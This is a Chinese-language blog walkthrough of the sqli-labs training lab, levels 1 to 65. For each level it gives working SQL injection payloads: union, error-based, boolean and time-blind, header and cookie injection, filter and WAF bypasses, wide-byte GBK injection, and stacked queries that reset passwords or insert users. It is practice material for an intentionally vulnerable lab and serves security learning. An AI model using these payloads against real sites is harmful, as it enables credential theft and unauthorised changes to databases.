sqli-labs

学习学习

Posted by lll-yz on October 23, 2020

Less-1~Less-20

Less-21~Less-37

Less-38~Less-53

Less-54~Less-65

一、SQL注入类型判断(前提了解)

  • 数字型注入
  • 字符型注入

1.数字型:输入 id=1 and 1=1 和 1=2进行判断,首先在URL中输入?id=1 and 1=1 页面显示正常,后输入id=1 and 1=2 页面出错,说明注入类型为数字型。

原因如下:当输入 and 1=1时,后台执行sql语句:

select*from <> where id = 1 and 1=1;

没有语法错误且逻辑判断正确,返回正常。

当输入 and 1=2时,后台执行sql语句:

select*from <> where id = 1 and 1=2;

没有语法错误,但逻辑判断为假,所以返回错误。

若为字符型输入上述语句,后台执行sql语句:

select*from <> where id =’1 and 1=1’;

select*from <> where id = ‘1 and 1=2’;

查询语句将and语句全部转换为字符串,不会进行逻辑判断,所以不会显示错误。

2.字符型:输入 and ‘1’=’1 和 and ‘1’=’2来判断. 。当输入and ‘1’=’1时页面正常,输入 and ‘1’=’2后错误,说明注入类型为字符型。

原因如下:当输入 and ‘1’=’1时,sql语句为:

select*from <> where id = ‘x’ and ‘1’=’1’;

没有语法错误且逻辑判断正确,返回正常。

当输入 and ‘1’=’2时,sql语句为:

select*from <> where id = ‘x’ and ‘1’=’2’;

没有语法错误,但逻辑判断为假,所以返回错误。

Less-1~Less-20

Less-1

​ 1.使用hackbar,首先输入id= 1,显示正常,接着输入id=1 and 1=2判断是否为数字型注入,发现不是。

​ 2.输入id=1’ 显示错误,说明为字符型注入。

​ 3.用–+注释掉后面的’,输入id=1’ order by x –+ (x=1,2,3,4),判断字段,发现有3个字段。

​ 4.id=-1’ union select 1,2,3 –+,判断回显(要让系统使用联合查询,要使前面id错误(如id=-1等错误id)来进行后面的查询语句)。回显位为2,3位。

​ 5.id=-1’ union select 1,database(),3 –+,查询数据库名称。

​ 6.id=-1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=’security’),3 –+,得到表名。

​ 7.id=-1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=’users’),3 –+,得到列名。

​ 8.id=-1’ union select 1,(select group_concat(username,password) from security.users),3 –+,成功。

Less-2

​ 1.判断注入,输入id=1 and 1=2,报错,数字型注入。

​ 2.步骤同Less-1。

Less-3

​ 1.判断注入,发现是基于 ‘) 的字符注入。id=1’) –+。

​ 2.步骤同Less-1。

Less-4

​ 1.判断注入,为基于 “) 的字符注入。 id=1”) –+。

​ 2.步骤同Less-1。

Less-5

基础知识:

1.floor(): 去除小数部分。

  1. rand ():产生随机数。
  2. limit 0,1 表示输出第一个数据。0表示输出起始位置,1表示输出一个。
  3. rand(x): 每个x对应一个固定的值,但是如果连续执行多次值会变化,不过也是可以预测的。
  4. floor报错payload: and select 1 from (select count(),concat(database(),floor(rand(0)2))x from information_schema.tables group by x)a)
  5. floor(rand(0)2)x ,x 为 floor(rand(0)2)的别名。
  6. payload的重点在group by a,也就是group by floor(rand(0)2)。首先,floor(rand(0)2)的意思是随机产生0或1。虽说是随机,但是它是有规律可循的。rand(0),虽说是随机数,但是它的值与执行rand(0)的次数是意义对应的,即每一次执行rand(0)得到的结果都是固定的。基本是011011…这个序列。
  7. 具体解释来自:https://blog.csdn.net/qq_43504939/article/details/90046342?utm_medium=distribute.wap_relevant.none-task-blog-title-2
注入:
  1. ?id=1正常 接着 ?id=1’ –+发现可以。

    2.?id=1’ order by x –+ ,判断字段列数。得到列数为:3。

    3.?id=1’ union select 1,2,3 –+ ,无回显,但之前判断字段可以发现有报错回显,所以采用报错注入。

    4.?id=1’ and (select 1 from (select count(),concat((payload),floor(rand(0)2))x from information_schema.tables group by x)a) –+ ,payload为要输入的查询语句。注意:输出的字符长度限制为64个字符。

    5.?id=1’ and (select 1 from (select count(),concat(((select group_concat(schema_name) from information_schema.schemata)),floor(rand(0)2))x from information_schema.tables group by x)a) –+ 提示信息超出一行。

    6.?id=1’ and (select 1 from (select count(),concat((select database()),floor(rand(0)2))x from information_schema.tables group by x)a) –+ 得到数据库名。

    7.?id=1’ and (select 1 from (select count(),concat((select group_concat(table_name) from information_schema.tables where table_schema=’security’),floor(rand(0)2))x from information_schema.tables group by x)a) –+ 报错显示不能超过一行。

    8.?id=1’ and (select 1 from (select count(),concat((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a) –+ 用limit一个一个显示。 得到表名。

    9.?id=1’ and (select 1 from (select count(),concat((select column_name from information_schema.columns where table_name=’users’ limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a) –+ 得列名。

    10.?id=1’ and (select 1 from (select count(),concat((select username from security.users limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a) –+ 逐个得出账号密码。

Less-6

1.基于 “ 的报错注入。

2.将id=1’ 改为id=2’ 其余与Less-5相同。

Less-7

Less-8

基础知识:

​ 1.substr(a,b,c): 在a中从b位开始取c位。

​ 2.ascii(a): 将a转化为ascii。

注入:

1.基于 ‘ 的布尔盲注。

2.?id=1正常, ?id=1’错误无提示,?id=1’ –+正常。

3.发现页面对 对错 都没有回显但页面显示不一样,所以采用布尔盲注。

4.?id=1’ order by x–+ (x=1,2,3,4) 得到有三列字段(看页面)。

5.?id=1’ and length(database())=8 ,判断数据库名的长度。

​ 6.?id=1’ and substr(database(),1,1)=’s’ –+ 判断数据库名,通过改变substr里位置来猜名。或 ?id=1’ and ascii(substr(database(),1,1))=115 –+ 用ascii来猜测库名。

​ 7.同理猜测出表名,列名,账号密码。

Less-9

基础知识:

​ 1.sleep(x): 执行后,睡眠x秒后执行。

​ 2.if(a,b,c): 如果a正确,b执行否则c执行。

注入:

​ 1.基于 ’ 的时间盲注。

​ 2.?id=1 ,?id=1’ 发现不论对错不会回显且不会产生变化,采用时间盲注。

​ 3.?id=1 and sleep(5) –+ ,?id=1’ and sleep(5) –+ 判断闭合。

​ 4.?id=1’ and if(length(database())=8,1,sleep(5)) –+ ,判断数据库名长度。

​ 5.?id=1’ and if(substr(database(),1,1)=’s’,1,sleep(5)) –+ ,判断数据库名。或 ?id=1’ and if(ascii(substr(database(),1,1))=115,1,sleep(5)) –+ ,判断数据库名。通过改变substr的步长来逐步猜测。

​ 6.?id=1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),1,1))=101,1,sleep(5)) –+ ,判断表名。改变limit,substr步数逐步判断。

​ 7.同理得到列名,账号密码。

Less-10

​ 1.基于 “ 的时间盲注。

​ 2.?id=1” 其余与Less-9相同。

Less-11

前言:

1.进入post的世界。

2.采用万能密码可以直接登陆。 为:admin’ or ‘1’=’1’。

3.我这里使用的是hackbar进行的post注入,burp抓包也可以。注意:注释不能用–+会出错,要采用#代替。

注入:

​ 1.基于 ‘ 的post注入。

​ 2.查看源码发现账户名为: uname,密码名为: passwd,提交为: submit=Submit。

​ 3.采用post注入,uname=admin&passwd=admin&submit=Submit ,回显成功。

​ 4.判断注入类型,uname=admin’ #&passwd=admin&submit=Submit 正确。

​ 5.uname=admin’ order by x #&passwd=admin&submit=Submit (x=1,2,3) ,得到字段为2。

​ 6.uname=-admin’ union select 1,2 #&passwd=admin&submit=Submit ,判断回显。

​ 7.uname=admin’ union select 1,database() #&passwd=admin&submit=Submit ,查找数据库名。

​ 8.uname=admin’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=’security’ #&passwd=admin&submit=Submit ,查找表名。

​ 9.uname=admin’ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #&passwd=admin&submit=Submit ,查找列名。

​ 10.uname=admin’ union select 1,username from security.users limit 0,1 #&passwd=admin&submit=Submit ,因为有行数限制,用limit逐个查询。

Less-12

​ 1..基于 “) 的post注入。

​ 2.将uname=admin’ 改为 uname=admin”) 即可,其余与Less-11相同。

Less-13

​ 1.基于 ‘) 的报错注入。

​ 2.先判断出闭合类型为 “) ,后进行order by x 判断列数为2。

​ 3.无回显,有报错提示,所以使用报错注入。

​ 4.uname=admin’) and updatexml(1,concat(0x7e,database(),0x7e),1) #&passwd=admin&submit=Submit ,得到数据库名。

​ 5.uname=admin‘) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #&passwd=admin&submit=Submit ,得到表名。

​ 6.uname=admin’) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=’users’),0x7e),1) #&passwd=admin&submit=Submit ,得到列名。

​ 7.uname=admin‘) and updatexml(1,concat(0x7e,(select username from security.users limit 0,1 ),0x7e),1) #&passwd=admin&submit=Submit , 因为有行数限制,用limit逐个查询。

Less-14

​ 1.基于的 “ 报错注入。

​ 2.其余同Less-13。

Less-15

​ 1.基于 ‘ 的时间盲注。

​ 2.发现uname=admin’ # 正确。

​ 3.发现无报错信息,正确与错误页面不同,因此采用时间盲注。

​ 4.uname=admin’ and if(length(database())=8,1,sleep(5)) #&passwd=admin&submit=Submit ,判断数据库名长度。

​ 5.uname=admin’ and if(substr((select database()),1,1)=’s’,1,sleep(5)) #&passwd=admin&submit=Submit ,逐步判断数据库名。

或(这个正确方法,上一个偷懒了哈哈) uname=admin’ and if(ascii(substr((select database()),1,1))=115,1,sleep(5)) #&passwd=admin&submit=Submit ,逐步通过ASCII判断字符,改变=,< ,> ,来判断。

​ 6.其余也一样,改变查询逐步判断。

Less-16

​ 1.基于 “) 的post时间盲注。

​ 2.其余与Less-15同。

Less-17

​ 1.基于 ‘ 的密码报错注入。

​ 2.测试时发现账号处无法注入了,查看源码发现check_input()过滤了uname,但passwd没有,所以对passwd采用报错注入。

​ 3.uname=admin&passwd=admin’ updatexml(1,concat(0x7e,database(),0x7e),1) #&submit=Submit ,查看数据库名。

​ 4.同理查询表名,用户名,密码,具体与Less-13同。

Less-18

​ 1.基于 ‘ 的 User-Agent 报错注入。

​ 2.注入发现uname,passwd都无法注入,查看源码,发现对我们的uname,passwd都进行了过滤。

​ 3.提示 User-Agent ,所以在 User-Agent 上进行注入。

​ 4.’,1,updatexml(1,concat(0x7e,database(),0x7e),1))# ,通过报错查询数据库名。

​ 5.’,1,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1))# ,limit 使用来一个一个查询表名,因为不用的话有提示只能输出一行。

​ 6.’,1,updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=’users’ limit 0,1),0x7e),1))# ,查询列名。

​ 7.’,1,updatexml(1,concat(0x7e,(select username from security.users limit 0,1),0x7e),1))# 查询用户密码。

Less-19

​ 1.基于 ‘ 的 Referer 报错注入。

​ 2.将 User-Agent 变为 Referer,其余与Less-18一致。

Less-20

​ 1.基于 ‘ 的 Cookie 注入。

​ 2.在 cookie 中进行,uname=admin’ order by x# (x=1,2,3,4) ,查询,与Less-1差不多。

Less-21~Less-37

Less-21

​ 1.基于 ‘) 的cookie的base64编码注入。

​ 2.将Less-20中的payload转化base64编码即可。

Less-22

​ 1.基于 “ 的cookie的base64编码注入。

​ 2.同上。

Less-23

​ 1.过滤注释的get型注入。

​ 2.对 –+ # 进行了过滤。

​ 3.用 or进行闭合。

​ 4.?id=1’ union select 1,database(),3 or ‘1’=’1 。

Less-24

​ 1.二次注入。

​ 2.注册用户名为 admin ‘# ,密码随意

​ 3.更改密码,后用 用户名admin 密码为更改密码,登陆成功。

​ 原理:当注册时对用户名进行了过滤,但进入数据库的内容还是我们自己输入的,并没有改变,当我们更改密码时,系统调用了数据库里的数据,这时我们注册的 admin ‘# 被代入SQL语句,就会将admin密码更改,就成功注入。

Less-25

​ 1.过滤 or 和 and 的 ‘ 注入。

​ 2.?id=-1’ union select 1,2,3–+ 等等。没什么影响,遇到order可以双写oorrder来防止过滤。

​ 3.也可以用 and or 双写就行。

Less-25a

​ 1.过滤 or 和 and 的注入。

​ 2.?id=-1 union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()),3

​ 3.继续操作。

Less-26

知识点:

​ 1.空格绕过方法:

+ 可以代替空格 这里好像不行
%a0 空格
%09 tab键(水平)
%0a	新建一行
%0c	新建一页
%0d	return 功能
%0b	tab键(垂直)
  1. and 可以用 && 代替。(hackbar中输入&&时,要进行URL编码为%26%26,否则会出现报错)

  2. or 可以用   代替。
  3. – 可以用 ;%00 代替。

  4. and,or 也可以双写绕过。

    Payload:

    1.?id=1 正常显示。

    2.?id=1’ 显示错误,提示为 ’包含。

    3.?id=1’ –+ 页面还是显示之前的语法错误。且显示输入语句为?id=1’ 说明进行了过滤。

    4.查看源码,发现其对or ,and ,/* ,– ,# ,/ ,\\,空格进行了过滤。

    function blacklist($id)
    {
    	$id= preg_replace('/or/i',"", $id);	
    //strip out OR (non case sensitive)
    	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
    	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
    	$id= preg_replace('/[--]/',"", $id);		//Strip out --
    	$id= preg_replace('/[#]/',"", $id);			//Strip out #
    	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
    	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
    	return $id;
    }
    

    ​ 5.?id=1’%a0oorrder%0aby%a0x;%00+ (x=3,4) 用其他代替空格注释等,得到有3个字段。

    ​ 6.?id=0’%a0union%0aselect%a01,2,3;%00+ ,联合查询回显位置。

    ​ 7.?id=0’%a0union%0aselect%a01,(select%a0group_concat(table_name)%a0from%a0infoorrmation_schema.tables%where%a0table_schema=database()),3;%00+ ,查表名。

    ​ 8.后续同上格式不变,改变具体查询即可。

Less-26a

​ 1.和上一关基本一样,就是没有错误回显。

​ 2.尝试后知道为 ‘) 的闭合。

​ 3.还是和上关一样过滤了一些字符。

​ 4.?id=0’)%a0union%0aselect%a01,database(),3;%00+ ,基本一致与上一关。

Less-27

​ 1.对union和select也进行了过滤,不过or没有。可以双写uunionnion和大小写绕过SElect。

​ 2.?id=0’%a0uunionnion%0aSElect%a01,database(),3;%00+

​ 3.select 好像不能双写(我没成功) union双写,大小写过滤都行。

Less-27a

​ 1.?id=1’ 页面没有发生变化,改为?id=1”后发生错误,注释后正常,所以为 “的闭合方式。

​ 2.与上一关一样,只是id包裹变为 “ 。

Less-28

​ 1.id 包裹变为 ‘) ,其余不变(select,union正常使用,不用绕过)。

Less-28a

​ 1.啊这 我这个和上一关一毛一样??

Less-29

知识点:

​ 1.服务器端有两个部分:第一部分为 tomcat 为引擎的 jsp 型服务器,第二部分为 apache 为引擎的 php 服务器,真正提供 web 服务的是 php 服务器。

工作流程为:client 访问服务器,能直接访问到 tomcat 服务器,然后 tomcat 服务器再向 apache 服务器请求数据。数据返回路径则相反。

接下来是参数解析的问题。 问:index.php?id=1&id=2,这时回显是id=1还是id=2呢? 答:apache (php) 解析最后一个参数,即回显id=2;tomcat (jsp) 解析第一个参数,即回显id=1。

服务器端有两个部分:第一部分为 tomcat 为引擎的 jsp 型服务器,第二部分为 apache 为引擎的 php 服务器,真正提供 web 服务的是 php 服务器。

工作流程为:client 访问服务器,能直接访问到 tomcat 服务器,然后 tomcat 服务器再向 apache 服务器请求数据。数据返回路径则相反。

接下来是参数解析的问题。 问:index.php?id=1&id=2,这时回显是id=1还是id=2呢? 答:apache (php) 解析最后一个参数,即回显id=2;tomcat (jsp) 解析第一个参数,即回显id=1。

问:index.jsp?id=1&id=2,针对这关的两层结构,客户端请求首先过 tomcat,tomcat 解析第一个参数,接下来 tomcat 请求 apache,apache 解析最后一个参数。那么最终返回客户端的是哪个参数? 答:此处应该还是id=2,因为实际上提供服务的是 apache 服务器,返回的数据也应该是 apache 处理的数据。

而在我们实际应用中,也是有两层服务器的情况,那为什么要这么做?是因为我们往往在 tomcat 服务器处做数据过滤和处理,功能类似为一个 WAF。

而正因为解析参数的不同,我们此处可以利用该原理绕过 WAF 的检测。如 payload:index.jsp?id=1&id=0 or 1=1–+,tomcat 只检查第一个参数id=1,而对第二个参数id=0 or 1=1–+不做检查,直接传给了 apache,apache 恰好解析第二个参数,便达到了攻击的目的。

该用法就是 HPP(HTTP Parameter Pollution)即 HTTP 参数污染攻击的一个应用。HPP 可对服务器和客户端都能够造成一定的威胁。

​ —-来源MySQL注入天书之服务器两层架构

Payload:

​ 1.在开始前选择login.php文件,否则与第一关一样了

login.php?id=1&id=-1’ union select 1,database(),3 –+ ,然后逐步注入。

Less-30

​ 1.id的包裹变为 “ 其他与上一关一样。

login.php?id=1&id=-1” union select 1,database(),3 –+

Less-31

​ 2.id的包裹变为 “) 其他与上一关一样。

login.php?id=1&id=-1”) union select 1,database(),3 –+

Less-32

​ 1.宽字节注入。

function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);  //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string);   //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string);//escape double quote with a backslash
  

return $string;
}

​ 对 /, ‘, “ 进行了过滤。

​ 通常,一个GBK编码汉字,占用2个字节。

​ mysql在使用GBK编码时,会认为两个字符为一个汉字。例如%aa%5c就是一个汉字(前一个ascii码大于128才能到汉字的范围)。

​ 在%5c%27前添加%df构成%df%5c%27 (%5c : \的编码,%27:’的编码),mysql在GBK编码时,会将两个字节(%df%5c)当作一个汉字,从而将\去除。 (也可以使用 %bf, %81,%82等)

Payload:

​ 1.?id=1%df’ ,得到语法错误提示 id为 ‘ 包裹。

​ 2.?id=1%df’ order by x –+ (x=1,2,3,4) 判断字段。

​ 3.?id=0%df’ union select 1,2,3 –+ ,看回显位置。然后同之前步骤解决。

​ 4.查询列名时采用16进制绕过’‘需求,将 users 转换为16进制,其他照常。

Less-33

​ addslashes()函数,addslashes(string)返回在预定义字符之前家反斜杠\字符串:

  • 单引号 ’

  • 双引号 “

  • 反斜杠 \

  • 空字符 null

    注入和上一关一样。

Less-34

​ 与上32关一样,不过采用post注入。

Less-35

​ 1.判断为数字型注入。(?id=1 and 1=2 报错)

​ 2.还是存在过滤,有函数addslashes() 函数对预定字符过滤与33一样。 (没什么影响罢了)

​ 3.正常注入即可。(查列名时还是要对users进行十六进制转化绕过’‘过滤)

Less-36

​ 1.用mysql_real_escape_string()函数转义SQL语句中的字符串的特殊字符:

\x00, \n, \r , \, ‘, “, \x1a

成功,函数返回被转义的字符串,失败,返回falsa。

​ 2.注入同32,也是单引号包裹。

Less-37

​ 1.改为post注入。

Less-38~Less-53

Less-38

堆叠注入:
+ 介绍与原理:

​ 可以理解为多条SQL语句一起使用。(MySQL的多语句查询)在SQL中,分号(;) 是语句结束的标志,我们可以在一条语句的后方加上; 继续构造下一语句。

​ 堆叠语句与union联合注入区别为:union执行的语句类型是有限的,而堆叠注入可以执行任意语句。

​ 堆叠注入之前要知道数据库的一些相关信息,如:表名,列名等信息。 因为代码通常只返回一个查询结果,因此堆叠注入第二个语句产生错误或结果只能被忽略,我们在前端界面无法看到返回结果。

  • 使用条件

    mysql_multi_query() 执行多条查询的函数–防止注入改为mysql_query()函数。(mysql_query()函数执行一条MySQL查询)

    堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。

Payload:

​ 1.?id=-1’ union select 1,database(),3 –+ ,正常查询出表名,列名,用户名,密码。

​ 2.?id=1’;update users set password=’123’ where username=’Dumb’; –+ ,采用堆叠注入,查询的同时修改了Dumb的密码为:123,后查询发现成功修改。

Less-39

​ 1.判断为数字型注入。

​ 2.正常注入得到表名等。

​ 3.同38,堆叠注入,还是与38同。(改为数字型)

Less-40

​ 1.判断注入类型。

​ 2.?id=1’ 页面错误但无回显内容,?id=1’ –+ 页面还是错误,说明还有闭合符, ?id=1’) –+ ,成功。

​ 3.之后同38。

Less-41

​ 1.?id=1 and 1=2 ,页面错误,说明为数字型注入。

​ 2.同39。 (堆叠注入也可以插入数据比如插入用户什么的。)

Less-42

​ 对username进行了转义,password没有进行防御。

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];

$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
if (@mysqli_multi_query($con1, $sql))
{
      /* store first result set */
      if($result = @mysqli_store_result($con1))
      {
            if($row = @mysqli_fetch_row($result))
	    {
	          if ($row[1])
	          {
	                return $row[1];
	          }
	          else
	          {
	                return 0;
	          }
	    }
      }
      else 
      {
            echo '<font size="5" color= "#FFFF00">';
	    print_r(mysqli_error($con1));
	    echo "</font>";  
      }
}
else 
{
      echo '<font size="5" color= "#FFFF00">';
      print_r(mysqli_error($con1));
      echo "</font>";  
}

故进行密码处注入。

  1. 先进行万能密码测试。 当 1’ or 1=1# 时成功。(用户随意)

    也可以在密码处收入1‘ 等根据报错判断类型。

  2. login_password=0’ union select 1,database(),3;# 查询数据库名。

  3. 逐步查询其他。 (在登陆页面进行)

  4. 也可以堆叠注入 login_user=admin1&login_password=admin1’;insert into users values(66,’aaa’,’aaa’); #; &mysubmit=Login 插入数据。 用插入数据登陆成功。

  5. 之后用插入数据进行登陆发现可以登陆。

Less-43

​ 1.万能密码改为 1’) or 1=1 #

​ 2.密码处 1’ 根据报错得到注入类型为 ‘) 。

​ 3.接下来同上一关。

Less-44

​ 1.本关没有报错。

​ 2.逐步尝试万能密码 得:1’ or 1=1 #

​ 3.同42。

Less-45

​ 1.同样关闭了报错。

​ 2.逐步尝试万能密码 得:1’) or 1=1 #

​ 3.同43。

Less-46

​ 1.利用order by 进行注入。

​ 后台语句为:

$sql = "SELECT * FROM users ORDER BY $id";

​ 输入语句:

?sort=1 asc  //升序
?sort=1 desc  //降序
  • 报错注入

​ 发现回显结果不同,说明可以进行注入。

​ 1.?sort=1’ 产生报错,可以进行报错注入。

​ 2.?sort=1 and updatexml(1,concat(0x7e,database,0x7e),1) 得到数据库名。 同理得表名,列名等数据。

  • 延时注入

    1.?sort=1 and if(length(database())>1,1,sleep(5)) 根据页面返回时间进行判断。

Less-47

​ 1.?sort=1’ 得到提示为 ‘’ 闭合。

  • 报错注入

    2.?sort=1’ and updatexml(1,concat(0x7e,database,0x7e),1) –+

  • 延时注入

    1.?sort=1’ and if(length(database())>1,1,sleep(5)) –+

Less-48

​ 1.?sort=1’ 关闭了报错。

​ 2.采用延时注入。 这关为数字型盲注。

​ 3.?sort=1 and if(length(database())>1,1,sleep(5))

​ 4.?sort=1 and if(substr(database())=’s’,1,sleep(5)) 逐步查出数据库名,表名等。

Less-49

​ 1.同样关闭了报错。

​ 2.测试得为 ‘‘闭合。 ?sort=1’ –+ 步骤同48。

Less-50

​ 1.堆叠注入。 原理38关处。

​ 2.?sort=1;insert into users values(88,’88’,’88’);

Less-51

​ 1.闭合为’ 其余与51相同。

Less-52

​ 1.关闭了报错。

​ 2.‘ ,“ 都错误,所以为数字型。同上。

Less-53

​ 1.同样关闭了报错。

​ 2.经测试得为 ’ 闭合。

Less-54~Less-65

Less-54

​ 进入挑战模式。开始后提示有10次机会。10次之后会重置表名和数据。正常注入即可。

​ 1.?id=1 回显正常。 正式开始。

​ 2.?id=1’ 页面返回错误,没有报错提示。

​ 3.?id=1’ –+ 返回正常,得到为 ‘ 闭合。

​ 4.?id=1’ order by 3 –+ 返回正常。

​ 5.?id=1’ order by 4 –+ 返回错误。说明有3字段。

​ 6.?id=1’ union select 1,2,3 –+ 判断回显。得到回显为2,3位。

​ 7.?id=1’ union select 1,database(),3 –+ 得到数据库名。

​ 8.?id=1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 –+ 得表名为 MAQP7SLQCM

​ 9.?id=1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=’MAQP7SLQCM’),3 –+ 得列名为 id,sessid,secret_80MZ,tryy

​ 10.?id=1’ union select 1,(select group_concat(id,’,’,sessid,’,’,secret_80MZ,’,’,tryy) from challenges.MAQP7SLQCM),3 –+ 得数据

​ 好险刚刚好。返回看看,可以把爆数据库名这一步去掉。

Less-55

​ 1.这关有14次机会。

​ 2.没有报错提示,需要多次尝试,emmm测出为 ()闭合。

​ 3.次数不够了,直接重来一次注入。

​ 4.?id=-1) union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 –+ 得表名,步骤同54。

Less-56

​ 1.同样有14次机会。

​ 2.猜测后得为 ‘) 闭合。 步骤同上。

Less-57

​ 1.同样有14次机会。

​ 2.猜测后得为 ” 闭合。 步骤同上。

Less-58

​ 1.只有5次机会。

​ 2.开始测试,得到为 ‘ 闭合。

​ 3.?id=1’ order by 3(4) –+ ,得到字段为3。

​ 3.正常查询 ?id=1’ union select 1,2,3 –+ 得不到回复,还是一开始的回复,呜呜呜。

​ 4.因为之前有报错,所以采用报错注入。

​ 5.次数不够了,重置进行查询。 ?id=1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) –+ 查表名。

​ 6.?id=1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=’UW3H9C6U7O’),0x7e),1) –+ 查列名。

​ 7.同理查出数据。

Less-59

​ 1.还是只有5次。

​ 2.测试后得出为数字型注入。

​ 3.同样正常注入不行,采用报错注入。具体步骤同58。

Less-60

​ 1.5次。 测试根据报错得为 “) 闭合。

​ 2.同样采用报错注入,同58。

Less-61

​ 1.5次。测试根据报错得为 ‘)) 闭合。

​ 2.同样采用报错注入,同58。

Less-62

​ 1.次数130,给这么多肯定很麻烦。

​ 2.测试 ?id=1’ 产生错误,没有报错回显。

​ 3.?id=1’ –+ 还是错误,说明后面还有包裹。

​ 4. ?id=1’) –+ 返回正常,得到为 ‘) 闭合。

​ 5.?id=1’) order by 3(4) –+ 得到字段为3。

​ 6.正常注入没有正确回显,有因为没有报错回显,所以采用延时注入。 ?id=1’) and if(length(database())>1,1,sleep(5)) –+ 判断数据库长度。

​ 7.?id=1’) and if(ascii(substr(database(),1,1))>1,1,sleep(5)) –+ 判断数据库名。(一个字符一个字符的尝试)

​ 8.其余同理。

Less-63

​ 1.还是130次。

​ 2.开始测试 ?id=1’ 页面错误。

​ 3.?id=1’ –+ 正常,说明为 ‘ 闭合。

​ 4.同样无报错,无法正常查询,采用延时盲注,同62。

Less-64

​ 1.130次。

​ 2.采用 )) 闭合。 无报错,不能正常查询,用延时盲注,同上。

Less-65

​ 1.130次。

​ 2.采用 “) 闭合。无报错,不能正常查询,用延时盲注,同上。